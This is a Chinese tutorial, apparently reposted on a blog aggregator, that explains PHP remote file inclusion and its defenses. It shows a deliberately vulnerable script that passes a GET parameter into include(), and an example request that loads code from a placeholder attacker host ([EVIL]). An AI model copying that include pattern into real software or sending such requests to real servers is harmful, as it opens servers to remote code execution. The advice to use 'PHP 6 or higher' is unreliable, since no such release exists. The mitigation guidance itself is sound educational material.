PHP 远程文件包含的介绍和代码防御
来源:互联网 发布:c语言静态局部变量 编辑:程序博客网 时间:2024/06/06 08:31
0x01 介绍
PHP 应用程序接收到外部输入,但在“require”、“include”或类似函数中使用该输入之前对其进行了错误的限制。在 PHP 的特定版本和配置中,这样就使攻击者能够指定远程位置的 URL,以便使用软件从该位置获取要执行的代码。在其他情况下,攻击者可通过与路径遍历相结合来指定本地文件,其中可能包含 PHP 可以解析的可执行语句。“PHP 远程文件包含”使攻击者能够将其自己的 PHP 代码嵌入到易受攻击的 PHP 脚本中,这可能会导致灾难性的结果,例如使攻击者能够在 Web 服务器上执行远程命令,破坏 Web 站点的某些部分的外观,甚或窃取机密信息。以下 PHP 代码片段演示了简化的“PHP 远程文件包含”脆弱性:
en.php
<?php $sentence = "Hello World"; ?>
fr.php
<?php $sentence = "Bonjour Monde"; ?>
vuln.php
<?php $language = $_GET["language"]; include($language.".php"); echo $sentence; ?>
通常,此页面会用于显示欢迎页面。欢迎页面的语言由“language”参数确定。例如,请求 http://[SERVER]/vuln.php?language=en 会返回“Hello World”,而请求 http://[SERVER]/vuln.php?language=fr 会返回“Bonjour Monde”。
但是,在特定情况下,攻击者能够绕过上述脚本以便损害服务器。例如,发出以下请求将导致在 vuln.php 中包含远程的恶意 PHP 脚本 (http://[EVIL]/malicious.php),:http://[SERVER]/vuln.php?language=http://[EVIL]/malicious
因此,[SERVER] 将执行的 PHP 代码为:
<?php $language = $_GET["language"]; [...Malicious PHP code of http://[EVIL]/malicious.php...] echo $sentence; ?>
0x02 修复思路
[1] 策略:库或框架
使用不允许此弱点出现的经过审核的库或框架,或提供更容易避免此弱点的构造。[2] 策略:环境固化
使用完成必要任务所需的最低特权来运行代码。如果可能,请使用仅用于单个任务的有限特权来创建孤立的帐户。这样,即使攻击成功,攻击者也无法立即访问软件或其环境的其余部分。例如,数据库应用程序很少需要以数据库管理员身份运行,特别是在日常操作中。[3] 策略:输入验证
假定所有输入都是恶意的。使用“接受已知善意”输入验证策略:严格遵守规范的可接受输入的白名单。拒绝任何没有严格遵守规范的输入,或者将其转换为遵守规范的内容。不要完全依赖于将恶意或格式错误的输入加入黑名单。但是,黑名单可帮助检测潜在攻击,或者确定哪些输入格式不正确,以致应当将其彻底拒绝。执行输入验证时,请考虑所有潜在相关属性,包括长度、输入类型、可接受值的完整范围、缺失或多余输入、语法、跨相关字段的一致性以及业务规则一致性。以业务规则逻辑为例,“boat”可能在语法上有效,因为它仅包含字母数字字符,但如果预期为颜色(如“red”或“blue”),那么它无效。
对于文件名,请使用限制要使用的字符集的严格白名单。如果可行,请仅允许文件名中出现单个“.”字符以避免 CWE-23 之类的弱点,并排除“/”之类的目录分隔符以避免 CWE-36。请使用允许的文件扩展名的白名单,这有助于避免 CWE-434。
[4] 策略:环境固化
在 PHP 的最新可用版本(最好是 PHP 6 或更高版本)中开发和运行代码。缺省情况下,已除去、限制或禁用了较早版本 PHP 解释器中的许多高风险功能。请配置您的 PHP 应用程序以使其不使用 register_globals。在实施期间,开发您的应用程序时确保其不会依赖此功能,但需要注意,实施 register_globals 仿真容易受到 CWE-95、CWE-621 之类的弱点及类似问题的影响。通常,程序员不会保护旨在仅由核心程序包含的文件的直接访问。这些包含文件可能假定关键变量已由调用程序初始化。因此,如果在能够直接访问包含文件的情况下使用 register_globals,也许攻击者就能够实施文件包含攻击。截止到 2009 年,这一直是非常常见的模式。请将 allow_url_fopen 设置为 false,这将限制从远程位置包含文件的能力。欢迎大家分享更好的思路,热切期待^^_^^ !
0 0
- PHP 远程文件包含的介绍和代码防御
- 远程代码注入的介绍与代码防御
- SSI 注入的介绍和代码防御
- php远程文件包含漏洞
- XSS跨站点脚本的介绍和代码防御
- php本地文件包含&远程文件包含
- php ssh扩展 远程复制文件和远程执行代码
- php实现下载远程文件的代码
- SQL 注入的介绍与代码防御
- XPATH 注入的介绍与代码防御
- LDAP注入的介绍与代码防御
- XML 注入的介绍与代码防御
- XQuery 注入的介绍与代码防御
- XPATH 注入的介绍与代码防御
- 网站防御DDOS的PHP代码
- PHP安全编程之文件包含的代码注入攻击
- PHP安全编程:文件包含的代码注入攻击
- 挂马攻击的介绍和防御
- 05node.js事件驱动程序
- How Many Tables(HDU1213)(入门)
- ContentProvider中常用的常量及字段
- POJ 3600 Subimage Recognition 搜索
- Hadoop安装(一)
- PHP 远程文件包含的介绍和代码防御
- angular自定义的tab切换
- 多线程(一)
- JAVA设计模式-责任链模式
- Python学习 自定义函数
- 关于原生dom操作
- QT---项目的构成及原理
- 生成JSON数据
- TCP的流量控制和拥塞控制